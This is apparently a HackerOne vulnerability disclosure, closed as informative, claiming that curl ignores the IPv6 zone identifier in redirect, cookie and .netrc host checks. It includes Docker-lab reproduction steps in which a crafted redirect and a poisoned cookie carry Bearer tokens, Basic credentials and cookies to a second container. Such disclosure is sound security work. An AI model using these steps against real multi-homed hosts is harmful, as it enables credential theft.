libcurl omits IPv6 zoneid from host identity and leaks credentials/cookies across scoped link-local realms
Medium
Vulnerability Details
## Summary:
libcurl omits the IPv6 zoneid component from multiple security-sensitive host identity decisions even though the connection layer still routes by zoneid. As a result, two distinct scoped/link-local destinations such as [fe80::X%zoneA] and [fe80::X%zoneB] are treated as the same host by redirect credential guards, cookie identity, and .netrc lookup. I reproduced three consequences: redirect-protected secrets are forwarded cross-zone, host-only cookies cross-zone, and .netrc credentials apply cross-zone. This reproduces on my local checkout (curl 8.19.0-DEV), my local master build (curl 8.20.0-DEV), and the installed system curl /usr/bin/curl 8.19.0 on Kali Linux. This appears distinct from CVE-2022-27775, which was about connection reuse / conncache keying rather than redirect, cookie, and credential host identity. The root cause is that zoneid is ignored in security-sensitive host comparisons but still used later as scope_id for actual routing.
## Affected version
Installed system curl:
curl 8.19.0 (x86_64-pc-linux-gnu) libcurl/8.19.0 OpenSSL/3.5.5 zlib/1.3.1 brotli/1.2.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.5 libssh2/1.11.1 nghttp2/1.68.1 ngtcp2/1.21.0 nghttp3/1.15.0 librtmp/2.3 mit-krb5/1.22.1 OpenLDAP/2.6.10
Release-Date: 2026-03-11, security patched: 8.19.0-1
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt mqtts pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTP3 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
Also reproduced on:
curl 8.19.0-DEV (Linux) libcurl/8.19.0-DEV ...
curl 8.20.0-DEV (Linux) libcurl/8.20.0-DEV ...
Platform:
Linux kali 6.12.38+kali-amd64 x86_64 GNU/Linux
## Steps To Reproduce:
I used a local Docker lab with two different IPv6 bridge networks. Two containers are given the same MAC address so they receive the same link-local IPv6 address on different interfaces, which creates two distinct scoped destinations with the same numeric
fe80:: address.
### Repro 1: redirect-protected secrets leak cross-zone
1. Create two Docker IPv6 bridge networks, netA and netB.
2. Start container A on netA and container B on netB, both with the same MAC address.
3. Container A returns:
HTTP/1.0 302 Found
Location: http://[fe80::42:acff:fe11:2%25br-B]:18080/target
4. Request:
curl -g -v -L --noproxy '*' --oauth2-bearer s3cr3t \
"http://[fe80::42:acff:fe11:2%25br-A]:18080/start"
5. Observe that curl follows the redirect and still sends:
Authorization: Bearer s3cr3t
6. The second container receives it:
B-installed path=/bearer/target auth=Bearer s3cr3t cookie=None
I reproduced the same redirect leak shape with:
- -u user:secret
- --oauth2-bearer s3cr3t
- -H 'Authorization: s3cr3t'
- -H 'Cookie: test=yes'
This happens without --location-trusted / CURLOPT_UNRESTRICTED_AUTH.
### Repro 2: host-only cookies cross-zone
1. Make %zoneA return:
Set-Cookie: sid=zonepoison; Path=/
2. Seed the cookie jar:
curl -g -v --noproxy '*' -b '' -c jar.txt \
"http://[fe80::42:acff:fe11:2%25br-A]:18080/seed"
3. The jar stores:
fe80::42:acff:fe11:2 FALSE / FALSE 0 sid zonepoison
4. In a fresh invocation, request %zoneB:
curl -g -v --noproxy '*' -b jar.txt \
"http://[fe80::42:acff:fe11:2%25br-B]:18080/check"
5. Observe:
Cookie: sid=zonepoison
6. The second container receives it:
B-installed path=/check auth=None cookie=sid=zonepoison
### Repro 3: .netrc credentials apply cross-zone
1. Create .netrc:
machine fe80::42:acff:fe11:2 login user password secret
2. Request %zoneA:
curl -g -v --basic --netrc-file netrc --noproxy '*' \
"http://[fe80::42:acff:fe11:2%25br-A]:18080/a"
3. Request %zoneB with the same file:
curl -g -v --basic --netrc-file netrc --noproxy '*' \
"http://[fe80::42:acff:fe11:2%25br-B]:18080/b"
4. Both requests send:
Authorization: Basic dXNlcjpzZWNyZXQ=
5. The second container receives:
B-installed path=/b auth=Basic dXNlcjpzZWNyZXQ= cookie=None
### Why this happens
The relevant code paths appear to be:
- lib/urlapi.c::Curl_url_same_origin() compares scheme/host/port but ignores CURLUPART_ZONEID
- lib/http.c stores first_host = conn->host.name
- lib/vauth/vauth.c::Curl_auth_allowed_to_host() compares only host/port/protocol
- lib/http.c / lib/cookie.c key cookies on normalized host strings without zoneid
- lib/url.c performs .netrc lookup using conn->host.name
- lib/url.c::zonefrom_url() later extracts CURLUPART_ZONEID and sets conn->scope_id
### Expected result
[fe80::X%zoneA] and [fe80::X%zoneB] should be treated as different security identities for:
- redirect credential forwarding
- protected custom headers
- host-only cookie storage and selection
- .netrc host credential lookup
## Impact
## Summary:
An attacker controlling one scoped/link-local IPv6 origin, or an open redirect on it, can cause curl/libcurl to send secrets to a different scoped destination that has the same numeric fe80:: address on another interface.
This includes built-in credentials, Bearer tokens, protected custom headers, host-only cookies, and .netrc credentials.
The bug breaks trust boundaries between distinct link-local realms and can affect multi-homed systems, local automation, containers, service meshes, and other environments where scoped IPv6 addresses are used.
The impact is confidentiality loss and cross-realm state confusion without any explicit opt-in such as --location-trusted / CURLOPT_UNRESTRICTED_AUTH.
The attack surface is narrower than a generic internet-wide cross-host leak, so I would rate it Medium, but it is a real security boundary failure and not expected behavior.
Actions
View on HackerOneReport Stats
- Report ID: 3680680
- State: Closed
- Substate: informative
- Upvotes: 1